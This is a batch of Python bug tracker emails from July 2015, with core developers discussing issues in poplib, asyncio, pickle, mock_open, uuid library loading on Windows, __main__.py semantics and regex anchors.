Date: Tue, 14 Jul 2015 11:03:13 +0000 Subject: [issue16041] poplib: unlimited readline() from connection In-Reply-To: <1348569563.2.0.69634867698.issue16041@psf.upfronthosting.co.za> Message-ID: <1436871793.78.0.976401109145.issue16041@psf.upfronthosting.co.za> Chris Smowton added the comment: +1 to the above; suggest this should be rolled back and replaced with a total message size limit. ---------- nosy: +Chris Smowton _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 13:10:47 2015 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 14 Jul 2015 11:10:47 +0000 Subject: [issue24539] StreamReaderProtocol.eof_received() should return True to keep the transport open In-Reply-To: <1435668886.87.0.254771488213.issue24539@psf.upfronthosting.co.za> Message-ID: <1436872247.27.0.666514666948.issue24539@psf.upfronthosting.co.za> Guido van Rossum added the comment: I've added the return True from eof_received() to the asyncio repo (https://github.com/python/asyncio/commit/ce3ad816a2ef9456b4b1c26b99dfc85ea1236811), but it still needs a unittest and merging into CPython 3.4 and up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 15:24:53 2015 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 14 Jul 2015 13:24:53 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436880293.36.0.57822235581.issue24633@psf.upfronthosting.co.za> Ronald Oussoren added the comment: I agree with Robert: renaming the file to README.txt would be a good idea regardless to enable easily opening the file with a GUI editor and as a bonus removes any change of conflict with a package name. The patch looks good to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 16:28:43 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 14 Jul 2015 14:28:43 +0000 Subject: [issue23906] poplib maxline behaviour may be wrong In-Reply-To: <1428679593.1.0.415911204922.issue23906@psf.upfronthosting.co.za> Message-ID: <1436884123.79.0.753751175778.issue23906@psf.upfronthosting.co.za> R. David Murray added the comment: Could you open a separate bug for the recovery problem, please? Using a maximum message size would not solve this problem, but it would give the library user control of when it failed, so it is a good feature request. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 17:33:09 2015 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jul 2015 15:33:09 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436887989.55.0.68623629998.issue24633@psf.upfronthosting.co.za> Ned Deily added the comment: I'm +0 on the name change but, again, it wouldn't solve the conflict problem for potential users of the readme package until 3.6. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 17:37:07 2015 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jul 2015 15:37:07 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436888227.28.0.346854219785.issue24633@psf.upfronthosting.co.za> Ned Deily added the comment: (And such a change would only be appropriate in a feature release, as it would complicate things for existing release installers and downstream distributions, etc.) ---------- stage: -> patch review versions: -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 18:38:04 2015 From: report at bugs.python.org (Brett Cannon) Date: Tue, 14 Jul 2015 16:38:04 +0000 Subject: [issue24633] README file installed into site-packages conflicts with package named "readme" In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436891884.16.0.289702547477.issue24633@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- title: Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' -> README file installed into site-packages conflicts with package named "readme" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 18:45:40 2015 From: report at bugs.python.org (Brett Cannon) Date: Tue, 14 Jul 2015 16:45:40 +0000 Subject: [issue24633] README file installed into site-packages conflicts with package named "readme" In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436892340.24.0.215895152139.issue24633@psf.upfronthosting.co.za> Brett Cannon added the comment: +1 on the file renaming. There really shouldn't be any files we put into site-packages that don't have a dot or some other symbol that we would never support as a file name for importing. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 18:54:03 2015 From: report at bugs.python.org (Brad Larsen) Date: Tue, 14 Jul 2015 16:54:03 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1436892843.94.0.346432335879.issue24630@psf.upfronthosting.co.za> Brad Larsen added the comment: Both test cases cause segfaults for me: (1) on 64-bit Python 3.4.3 built from source on Mac OS X (2) on the system 64-bit Python 3.4.3 from Debian "Jessie" I do not see the segfaults with a 64-bit build of the latest sources (cpython `default` branch at 231bf0840f8f). Instead, I see an unhandled `_pickle.UnpicklingError`. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 19:18:38 2015 From: report at bugs.python.org (Brett Cannon) Date: Tue, 14 Jul 2015 17:18:38 +0000 Subject: [issue24631] Regression in timeit with multyline setup In-Reply-To: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> Message-ID: <1436894318.22.0.038648495721.issue24631@psf.upfronthosting.co.za> Brett Cannon added the comment: There's no patch to review. ---------- nosy: +brett.cannon stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 20:20:04 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 18:20:04 +0000 Subject: [issue24631] Regression in timeit with multyline setup In-Reply-To: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> Message-ID: <1436898004.35.0.68675392844.issue24631@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Oh, sorry. Here is it. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file39925/timeit_multiline_setup.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 20:41:58 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 18:41:58 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1436899318.67.0.163025946875.issue24630@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Likely this crash was fixed by issue24552 patch. ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 20:56:32 2015 From: report at bugs.python.org (Brett Cannon) Date: Tue, 14 Jul 2015 18:56:32 +0000 Subject: [issue22858] unittest.__init__:main shadows unittest.main In-Reply-To: <1415874204.41.0.576776716148.issue22858@psf.upfronthosting.co.za> Message-ID: <1436900192.06.0.0414803213928.issue22858@psf.upfronthosting.co.za> Brett Cannon added the comment: The modules seem to have existed since at least Python 3.2, so I think a proper DeprecationWarning is necessary for just one release. The trick is going to be unittest.main since it seems code in the wild relies on it at least partially existing and Michael thinks it should stick around in some form or another. If the desire is there to limit the API for unittest.main compared to what it is now, either people have to go with stuff disappearing on users that get moved out to _main, or you have to do a somewhat evil import hack and turn unittest.main into an object with attributes which raise a DeprecationWarning for those objects you want to relocate and not for those you want to leave in place. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 22:13:44 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 20:13:44 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1436904824.07.0.236438139239.issue21750@psf.upfronthosting.co.za> Robert Collins added the comment: This is a regression in 3.5 vs 3.3 I think. It would have worked with the initial mock import. https://github.com/testing-cabal/mock/issues/280 Minimal reproducer case attached (With commentted out bits to switch out the mock for the rolling backport etc). ---------- nosy: +rbcollins Added file: http://bugs.python.org/file39926/mock-280.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 22:20:25 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 20:20:25 +0000 Subject: [issue18622] reset_mock on mock created by mock_open causes infinite recursion In-Reply-To: <1375391057.28.0.108463427813.issue18622@psf.upfronthosting.co.za> Message-ID: <1436905225.39.0.944835365876.issue18622@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- nosy: +rbcollins versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 22:24:04 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 14 Jul 2015 20:24:04 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows Message-ID: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> New submission from Steve Dower: Lib/uuid.py includes the following code that runs on import: import ctypes, ctypes.util # The uuid_generate_* routines are provided by libuuid on at least # Linux and FreeBSD, and provided by libc on Mac OS X. for libname in ['uuid', 'c']: try: lib = ctypes.CDLL(ctypes.util.find_library(libname)) except Exception: continue if hasattr(lib, 'uuid_generate_random'): _uuid_generate_random = lib.uuid_generate_random if hasattr(lib, 'uuid_generate_time'): _uuid_generate_time = lib.uuid_generate_time if _uuid_generate_random is not None: break # found everything we were looking for This code can cause issues on Windows when loading the CRT outside of an activation context (2.7) or in one case crashed Python 3.4 on a server (unfortunately I couldn't get access to the error logs - but I guessed that this section was responsible and turned out it was). I propose adding a sys.platform check before running this code, to omit it on any platform starting with 'win' (patch to follow). I believe this should apply to all current versions of Python. It is possible that someone has added their own "uuid.dll" to the DLL search path and is relying on that being found by uuid.py. I consider that unlikely and unsupported, but if people think that's a valid concern I can rework the patch to attempt to load uuid.dll but not the CRT on Windows. ---------- assignee: steve.dower components: Windows messages: 246740 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Importing uuid should not try to load libc on Windows type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 22:26:06 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 14 Jul 2015 20:26:06 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436905566.31.0.365749005825.issue24634@psf.upfronthosting.co.za> Steve Dower added the comment: Patch is against Python 3.5, but uuid.py is identical in all versions and the change should be applied to all four branches. ---------- keywords: +patch Added file: http://bugs.python.org/file39927/24634_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 01:08:54 2015 From: report at bugs.python.org (eryksun) Date: Tue, 14 Jul 2015 23:08:54 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436915334.14.0.27855870699.issue24634@psf.upfronthosting.co.za> eryksun added the comment: > This code can cause issues on Windows What's the issue or issues here? For 2.7, Windows won't be able to find msvcr90.dll without an activation context, but that's just an ERROR_MOD_NOT_FOUND OS error. It should be ignored by the try/except block. For 3.4, it shouldn't be using SxS for msvcr100.dll, so the server in question must have an unusual configuration. Still, the OSError that gets raised should be ignored. 3.5 built with VC 14 has a separate issue related to this. Due to changes from issue 23606, find_msvcrt now returns None. But the TypeError raised by CDLL(None) should be ignored here all the same. BTW, in Windows 10 I'm still able to reference CRT functions by name using CDLL('ucrtbase'). Are you sure the ultimate plan is to remove the named exports? ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 01:21:13 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 23:21:13 +0000 Subject: [issue18622] reset_mock on mock created by mock_open causes infinite recursion In-Reply-To: <1375391057.28.0.108463427813.issue18622@psf.upfronthosting.co.za> Message-ID: <1436916073.86.0.295232419275.issue18622@psf.upfronthosting.co.za> Robert Collins added the comment: Applying this to 3.4 and up with a test. Laurent, it would be good to sign the CLA - since your change here is minimal and Nicola has, I'm just going ahead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 01:22:40 2015 From: report at bugs.python.org (Steve Dower) Date: Tue, 14 Jul 2015 23:22:40 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436916160.97.0.807247163646.issue24634@psf.upfronthosting.co.za> Steve Dower added the comment: > For 2.7, Windows won't be able to find msvcr90.dll without an activation context, but that's just an ERROR_MOD_NOT_FOUND OS error. Actually, it finds the DLL fine and the DLL terminates the entire process when it fails to detect an activation context. There's #24429 on this, which I forgot to link to (note that this bug is related to that one, but is much smaller in scope). > For 3.4, it shouldn't be using SxS for msvcr100.dll, so the server in question must have an unusual configuration. Still, the OSError that gets raised should be ignored. Unfortunately I can't get hold of the error. It's almost certainly a strange configuration, but it was a commodity, publicly available server where the configuration is completely outside of the user's control. If we can avoid crashing when importing stdlib modules regardless of configuration, we should. > 3.5 built with VC 14 has a separate issue related to this. Due to changes from issue 23606, find_msvcrt now returns None. But the TypeError raised by CDLL(None) should be ignored here all the same. And it will be ignored, but when we know it's going to raise, why bother trying to load the library? > BTW, in Windows 10 I'm still able to reference CRT functions by name using CDLL('ucrtbase'). Are you sure the ultimate plan is to remove the named exports? It looks like on Windows 10 the CRT has switched to the transparent API schema. My python35.dll does not directly reference ucrtbase, and so it's still intended to be non-public API, and I still want to discourage its use because the chance of applications on different Windows versions is too high. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 01:42:41 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 14 Jul 2015 23:42:41 +0000 Subject: [issue18622] reset_mock on mock created by mock_open causes infinite recursion In-Reply-To: <1375391057.28.0.108463427813.issue18622@psf.upfronthosting.co.za> Message-ID: <20150714234238.29256.29496@psf.io> Roundup Robot added the comment: New changeset 4c8cb603ab42 by Robert Collins in branch '3.4': - Issue #18622: unittest.mock.mock_open().reset_mock would recurse infinitely. https://hg.python.org/cpython/rev/4c8cb603ab42 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 01:51:34 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 14 Jul 2015 23:51:34 +0000 Subject: [issue18622] reset_mock on mock created by mock_open causes infinite recursion In-Reply-To: <1375391057.28.0.108463427813.issue18622@psf.upfronthosting.co.za> Message-ID: <20150714235131.14716.72235@psf.io> Roundup Robot added the comment: New changeset c0ec61cf5a7d by Robert Collins in branch '3.5': - Issue #18622: unittest.mock.mock_open().reset_mock would recurse infinitely. https://hg.python.org/cpython/rev/c0ec61cf5a7d New changeset a4fe32477df6 by Robert Collins in branch 'default': - Issue #18622: unittest.mock.mock_open().reset_mock would recurse infinitely. https://hg.python.org/cpython/rev/a4fe32477df6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:08:27 2015 From: report at bugs.python.org (eryksun) Date: Wed, 15 Jul 2015 00:08:27 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436918907.11.0.832219959609.issue24634@psf.upfronthosting.co.za> eryksun added the comment: > Actually, it finds the DLL fine and the DLL terminates the entire > process when it fails to detect an activation context. OK, in that case it finds msvcr90.dll via PATH. I was only thinking of the DLL being installed in a subdirectory of the system WinSxS directory. I still think in this case it would be better to let extension modules get access to the activation context that Python saves and subsequently activates when loading extension modules. ctypes could activate this context before calling LoadLibrary. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:08:57 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 00:08:57 +0000 Subject: [issue18622] reset_mock on mock created by mock_open causes infinite recursion In-Reply-To: <1375391057.28.0.108463427813.issue18622@psf.upfronthosting.co.za> Message-ID: <1436918937.73.0.789913597869.issue18622@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- assignee: michael.foord -> rbcollins resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:09:32 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 00:09:32 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1436918972.12.0.319077728946.issue21750@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- assignee: -> rbcollins versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:17:24 2015 From: report at bugs.python.org (Steve Dower) Date: Wed, 15 Jul 2015 00:17:24 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436919444.77.0.44928851123.issue24634@psf.upfronthosting.co.za> Steve Dower added the comment: > ctypes could activate this context before calling LoadLibrary. That would break anyone else who's manually managing their own activation context around ctypes. At best we could expose functions to enable Python's activation context (which I'm willing to help review and merge a patch for on the other issue), but calling them while importing uuid when we know that we should just skip that part of the module's logic is silly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:23:36 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 00:23:36 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1436919816.14.0.792555414202.issue21750@psf.upfronthosting.co.za> Robert Collins added the comment: I think its worth noting that both the original mock_open and the new one are entirely broken for mocking access to multiple files. But, the breakage was not deliberate, and as the mock-280 example shows, folk subclassing a test suite will be surprisingly broken vs the long table releases of mock itself. So, I think its ok to fix this - relying on the second file appearing empty is IMO unlikely, and being more compatible with the prior releases of mock is good. We probably need to rethink this interface and provide a better one though, so that you can mock a filesystem easily. Thats a different discussion though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 02:47:46 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 00:47:46 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1436921266.81.0.379823282996.issue21750@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- keywords: +patch Added file: http://bugs.python.org/file39928/issue-21750.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 03:14:07 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 01:14:07 +0000 Subject: [issue23004] mock_open() should allow reading binary data In-Reply-To: <1417965857.24.0.521739131396.issue23004@psf.upfronthosting.co.za> Message-ID: <1436922847.93.0.731152030223.issue23004@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- nosy: +rbcollins versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 03:34:05 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 01:34:05 +0000 Subject: [issue24635] test_typing is flaky Message-ID: <1436924045.27.0.387044794067.issue24635@psf.upfronthosting.co.za> New submission from R. David Murray: See for example: http://buildbot.python.org/all/builders/AMD64%20Windows8.1%20Non-Debug%203.x/builds/106 It might be a test order dependency, but see http://buildbot.python.org/all/builders/x86%20Ubuntu%20Shared%203.x/builds/11931 where the test passed when re-run at the end. I'm making this a release blocker because it would be pretty sad to ship a new feature with a flaky test. Larry can of course overrule me on that :) I note that no one is yet listed as the subject expert for the typing module. I've at least added a line for the module to experts.rst. ---------- components: Tests messages: 246750 nosy: Guido.van.Rossum, r.david.murray priority: release blocker severity: normal stage: needs patch status: open title: test_typing is flaky type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 04:33:03 2015 From: report at bugs.python.org (Robert Collins) Date: Wed, 15 Jul 2015 02:33:03 +0000 Subject: [issue22858] unittest.__init__:main shadows unittest.main In-Reply-To: <1415874204.41.0.576776716148.issue22858@psf.upfronthosting.co.za> Message-ID: <1436927583.75.0.448279554295.issue22858@psf.upfronthosting.co.za> Robert Collins added the comment: So unittest.main, the symbol, needs to exist. What currently references unittest.main, the module, today? AFAICT its only accessible vis sys.modules['unittest.main'] because of the shadowing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 04:50:10 2015 From: report at bugs.python.org (Joe Jevnik) Date: Wed, 15 Jul 2015 02:50:10 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436928610.6.0.789268178633.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: I updated the docstring ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 05:17:34 2015 From: report at bugs.python.org (eryksun) Date: Wed, 15 Jul 2015 03:17:34 +0000 Subject: [issue24634] Importing uuid should not try to load libc on Windows In-Reply-To: <1436905444.93.0.906882057092.issue24634@psf.upfronthosting.co.za> Message-ID: <1436930254.13.0.151736505613.issue24634@psf.upfronthosting.co.za> eryksun added the comment: > That would break anyone else who's manually managing their own > activation context around ctypes. Since this can't be made to work automatically, I prefer your suggestion to continue checking for uuid.dll. You could just do something like the following: libnames = ['uuid'] if sys.platform != 'win32': libnames.append('c') for libname in libnames: ... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 07:06:25 2015 From: report at bugs.python.org (eryksun) Date: Wed, 15 Jul 2015 05:06:25 +0000 Subject: [issue24429] msvcrt error when embedded In-Reply-To: <1434020370.09.0.0614095337988.issue24429@psf.upfronthosting.co.za> Message-ID: <1436936785.65.0.872809725738.issue24429@psf.upfronthosting.co.za> eryksun added the comment: > windll.python27._Py_ActivateActCtx would suffice It would instead be ctypes.pythonapi._Py_ActivateActCtx -- if the DLL exported a function with this name. ctypes.pythonapi is a PyDLL instance that wraps sys.dllhandle. I think it would be more useful in general to add an "actctx" parameter to CDLL. Then make PyWin_DLLhActivationContext public in PC/dl_nt.c, and add it as sys.dllactctx. Example usage: libc = CDLL('msvcr90', actctx=sys.dllactctx) Along the lines of changing CDLL, it would also be nice to add a "flags" parameter and switch to using LoadLibraryEx. In comparison, POSIX users have easy access to the "mode" parameter (i.e. RTLD_LOCAL, RTLD_GLOBAL). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 09:15:37 2015 From: report at bugs.python.org (Ezio Melotti) Date: Wed, 15 Jul 2015 07:15:37 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436944537.55.0.367789964148.issue24632@psf.upfronthosting.co.za> Ezio Melotti added the comment: Another thing that should be clarified, is the difference between __main__.py inside a package, and __main__.py inside a zip file. For packages, as far as I understand, __main__.py should be inside the package (i.e. pkg/__main__.py, in the same dir of pkg/__init__.py). This allows the package to be "executed" by doing "python3 -m pkg". For zip files, the __main__.py should be right inside the zip (i.e. file.zip/__main__.py). This allows the zip file to be "executed" by doing "python3 file.zip" (note that no -m is used here, and that "python3 -m file.zip" fails). While zipping a package that already contains a __main__.py, the right way to do it seems to be the following: 1) add the package to a zip file (i.e. file.zip/pkg/) 2) add another __main__.py to the zip (i.e. file.zip/__main__.py) 3) add 'import pkg.__main__' to file.zip/__main__.py now if you do "python3 file.zip", file.zip/__main__.py will be executed, and in turn it will import file.zip/pkg/__main__.py, obtaining a result equivalent to "python -m pkg". (I still haven't figured out if the __main__.py is necessary while /importing/ a package/module from a zip file, after having added the zip file to sys.path.) So, to summarize, it seems to me that: 1) pkg/__main__.py is necessary to run "python3 -m pkg" (with -m); 2) file.zip/__main__.py is necessary to run "python3 file.zip" (without -m); 3) due to 1) and 2) creating an executable zipped package requires 2 __main__.py; 4) "python3 pkg" and "python3 -m file.zip" are not supposed to work even if the __main__.py files are in the right place. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 12:13:24 2015 From: report at bugs.python.org (Almer Tigelaar) Date: Wed, 15 Jul 2015 10:13:24 +0000 Subject: [issue24636] re.search not respecting anchor markers in or-ed construction Message-ID: <1436955204.19.0.984785735943.issue24636@psf.upfronthosting.co.za> New submission from Almer Tigelaar: >From the documentation ^ should restrict the matching of re.search to the beginning of the string, as mentioned here: https://docs.python.org/3.4/library/re.html#search-vs-match However, this doesn't always seem to work as the following example shows: re.search("^([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9]\\.[0-9]+)|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9])|([0-9]{4}-[01][0-9])|([0-9]{4})$", "2015-AE-02T10:16:08.450904") This should not match since the expression uses or-ed patterns between anchors ^ and $. Based on the "AE" this should not return a match, yet it returns one from positions 22 to 26, based on the last pattern in the or-red sequence of patterns: ([0-9]{4}) This can be worked around by explicitly including the anchor markers in the last pattern as follows: re.search("^([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9]\\.[0-9]+)|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-5][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9]T[0-2][0-9])|([0-9]{4}-[01][0-9]-[0-3][0-9])|([0-9]{4}-[01][0-9])|(^[0-9]{4}$)$", "2015-AE-02T10:16:08.450904") Notice: the last pattern now explicitly includes the anchors: (^[0-9]{4}$), which is factually duplicate with the anchors that already exist at the beginning and end of the entire regular expression! This work around correctly produces no match (which is the behaviour I expected from the first pattern). ---------- components: Regular Expressions messages: 246756 nosy: Almer Tigelaar, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: re.search not respecting anchor markers in or-ed construction type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 12:35:15 2015 From: report at bugs.python.org (Matthew Barnett) Date: Wed, 15 Jul 2015 10:35:15 +0000 Subject: [issue24636] re.search not respecting anchor markers in or-ed construction In-Reply-To: <1436955204.19.0.984785735943.issue24636@psf.upfronthosting.co.za> Message-ID: <1436956515.82.0.887369901319.issue24636@psf.upfronthosting.co.za> Matthew Barnett added the comment: The or-ed patterns aren't between the anchors. The ^ is at the start of the first alternative and the $ is at the end of the last alternative. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 13:53:28 2015 From: report at bugs.python.org (Ezio Melotti) Date: Wed, 15 Jul 2015 11:53:28 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436961208.32.0.0508459075492.issue24632@psf.upfronthosting.co.za> Ezio Melotti added the comment: After further tests, I think I figured out how things works. There are three separate things that interact with each other: * packages (dirs with an __init__.py) and "regular" dirs (with no __init__.py) or zip files; * how python is executed (with or without -m); * if the pkg/dir/zip is executed or imported. __main__.py makes a pkg/dir/zip "executable", but: * if it's a package, "python -m pkg" should be used; * if it's a dir or zip, "python dir_or_zip" should be used instead. There seem to be no differences between "regular" dirs and zip files: * both can become executable with a __main__.py; * both should be executed with "python dir_or_zip" (no -m); * both can not be imported (if we ignore namespace packages); * both can be added to sys.path, and the modules they contain imported, without needing any __main__.py. This also means that __main__.py is used only while doing "python -m pkg" or "python dir_or_zip", and not while doing "import pkg" or while importing a module inside a dir/zip. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 14:04:05 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 12:04:05 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436961845.29.0.0323161237987.issue24632@psf.upfronthosting.co.za> R. David Murray added the comment: What you just described is exactly what I would have said was the case (a zip file acts exactly like it was a directory), so I'm glad that's the way it actually works :). ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 14:05:41 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 15 Jul 2015 12:05:41 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436961941.58.0.783265264942.issue24632@psf.upfronthosting.co.za> R. David Murray added the comment: The surprising thing is that __main__ works without there being an __init__. I didn't know that, assumed it wasn't true, and so never tried it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 15 15:23:06 2015 From: report at bugs.python.org (Matthew Keeter) Date: Wed, 15 Jul 2015 13:23:06 +0000 Subject: [issue24637] locals dictionary in PyRun_String Message-ID: 